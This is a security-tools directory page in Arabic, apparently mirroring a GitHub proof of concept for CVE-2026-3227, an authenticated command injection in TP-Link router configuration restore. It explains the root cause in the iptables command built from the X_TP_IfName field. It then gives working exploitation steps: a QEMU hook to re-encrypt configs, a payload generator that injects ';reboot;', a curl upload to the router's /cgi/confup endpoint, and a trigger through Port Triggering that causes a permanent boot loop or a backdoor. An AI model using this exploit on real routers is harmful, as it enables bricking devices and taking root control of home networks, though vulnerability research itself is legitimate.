Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتحليل البرامج الثابتةاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

إثبات مفهوم لحقن أوامر نظام التشغيل المُوثَّق في برنامج ثابت لموجه TP-Link. يتضمن فك التشفير، وخطاف تشفير قائم على QEMU، وتوليد حمولة مكونة من 15 حرفًا لنشر حلقة إقلاع مستمرة أو باب خلفي.

عرض المستودع
421252منذ 2 أشهرتمت المراجعة من قبل Kitploit

CVE-2026-3227: حقن أوامر نظام التشغيل في راوترات TP-Link

CVE Status Hardware Language

لمزيد من المعلومات، راجع https://www.cve.org/CVERecord?id=CVE-2026-3227

ثغرة حقن أوامر نظام تشغيل دائمة وذات مصادقة في برامج ثابتة لراوترات TP-Link تؤدي إلى تعطيل الجهاز أو احتمال السيطرة على الشبكة المحلية.

إخلاء مسؤولية: يحتوي هذا المستودع على كود إثبات مفهوم لثغرة تم تصحيحها. وهو مخصص للأغراض التعليمية وللباحثين في مجال الأمن السيبراني.

ملخص تنفيذي

توجد ثغرة حقن أوامر في آلية النسخ الاحتياطي/الاستعادة للتكوين في عدة راوترات TP-Link (بما في ذلك TL-WR802N و TL-WR841N و TL-WR840N). يمكن للمهاجم الذي لديه صلاحيات إدارية تحميل تكوين الراوتر، وفك تشفيره، وحقن أمر نظام تشغيلي ضار (حتى 15 حرفًا) في حقول XML محددة، وإعادة تشفيره، ورفعه مرة أخرى إلى الجهاز.

عند تطبيق الراوتر للتكوين (على سبيل المثال، أثناء أحداث تشغيل المنفذ أو عند بدء التشغيل)، يتم تنفيذ الحمولة المحقونة بصلاحيات الجذر (root). يمكن استخدام هذا لإحداث حلقة إقلاع دائمة (تعطيل الجهاز بشكل دائم مع بقاء الضرر حتى بعد إعادة ضبط المصنع) أو تمكين باب خلفي دائم للتنقل عبر الشبكة المحلية.


رحلة الاكتشاف (كيف وجدتها)

أثناء استكشاف ميزة النسخ الاحتياطي للتكوين في الراوتر، قررت إجراء هندسة عكسية لملف httpd الثنائي ومكتبة libcmm.so لفهم كيفية تشفير ملفات التكوين وتحليلها.

  1. فك التشفير: نجحت في كتابة سكربت بايثون لفك تشفير كتلة التكوين، مما سمح لي بقراءة تكوين XML الأساسي.
  2. العثور على نقطة الحقن: أثناء تحليل معاملات XML، وجدت نقاط نهاية للحقن تم تمريرها مباشرةً إلى دوال تنفيذ النظام دون تنقية.
  3. تحدي التشفير: كانت إعادة إنتاج خوارزمية التشفير صعبة. ورغم إجراء الهندسة العكسية للكود ومحاولة إعادة تنفيذ الخوارزمية في بايثون وC، لم أتمكن من إنتاج ملف مشفر يقبله الراوتر.
  4. الحل البديل (ربط QEMU): بدلاً من إعادة اختراع العجلة، اتبعت نهجًا هندسيًا هجوميًا. قمت بمحاكاة بنية الراوتر باستخدام qemu-user وربط ملف httpd الثنائي الأصلي وقت التشغيل (create_config.c). سمح لي هذا باستدعاء دوال التشفير الأصلية للراوتر مباشرةً من إثبات المفهوم بلغة بايثون، مما أدى إلى محاكاة مثالية لتنسيق التشفير الأصلي.

تحليل فني متعمق / تحليل السبب الجذري

تكمن الثغرة في كيفية تحليل المنتج لكتلة التكوين المشفرة وتطبيقها وقت التشغيل. في مسار تكوين تشغيل المنفذ، تقوم الدالة oal_pt_addPortTrigger ببناء أوامر shell باستخدام حقول قابلة للتحكم من قبل المستخدم دون تنقية مناسبة.

على وجه التحديد، تستدعي الدالة oal_pt_addPortTrigger ما يلي:

root@kitploit:~
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

يتم ملء سلسلة التنسيق %s بسلسلة الواجهة (X_TP_IfName) التي يتم تحليلها مباشرة من تكوين XML الذي تم رفعه.

تسلسل التنفيذ:

  1. الرفع: http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. التحليل: oal_pt_addPortTrigger تستدعي forward_parsePtOpenPort لتحليل قوائم المنافذ.
  3. التنفيذ: يتم بناء سلسلة أمر iptables وتنفيذها عبر util_execSystem (التي تغلف system()).

عن طريق تعديل XML المُفكك ليشمل:

root@kitploit:~
<X_TP_IfName val=";reboot;"/>

يتم تنفيذ الأمر أثناء تهيئة الواجهة عند بدء التشغيل أو عند حدوث حدث تشغيل منفذ. نظرًا لأن الحمولة محدودة بـ 15 حرفًا، فإن صياغة الاستغلال تتطلب تقنيات تنفيذ أوامر مضغوطة.

إثبات المفهوم

لتجنب توزيع ملفات TP-Link الثنائية المحمية بحقوق الطبع والنشر، يتطلب إثبات المفهوم هذا أن تقوم باستخراج نظام الملفات للراوتر بنفسك للاستفادة من مكتبات التشفير الأصلية عبر ربط QEMU مخصص.

المتطلبات الأساسية

  • qemu-mipsel ومترجم متقاطع (gcc-mipsel-linux-gnu)
  • Python 3 والاعتماديات (pip install pycryptodome)
  • برامج ثابتة تم استخراجها باستخدام binwalk -Me <firmware.bin>

الخطوة 1: تجهيز البيئة

  1. استخرج البرنامج الثابت الهدف وانسخ دليل squashfs-root داخل python_utils/ من هذا المشروع.
  2. قم بتجميع ربط QEMU:
    root@kitploit:~
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

الخطوة 2: إنشاء التكوين الضار

  1. سجّل الدخول إلى راوترك وقم بتحميل نسخة احتياطية للتكوين (config.bin).
  2. شغّل مولد الحمولة:
    root@kitploit:~
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    
    ملاحظة: يجب ألا يتجاوز الحمولة 15 حرفًا.

الخطوة 3: رفع التكوين عبر curl (ميزة التحديث في راوتري كانت مجرد خدعة ولم تفعل شيئًا فعليًا).

root@kitploit:~
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

الخطوة 3: تشغيل الاستغلال

  1. بمجرد إعادة تشغيل الراوتر وتطبيق الإعدادات، انتقل إلى Forwarding -> Port Triggering.
  2. أضف تشغيل منفذ جديد (على سبيل المثال، اختر "Battle.net" من القائمة المنسدلة) واحفظ.
  3. سيتم تنفيذ أمر نظام التشغيل المحقون بصلاحيات root. إذا استخدمت ;reboot;، فسيتم إعادة تشغيل الراوتر فورًا والدخول في حلقة إقلاع دائمة.
تنزيل الأداة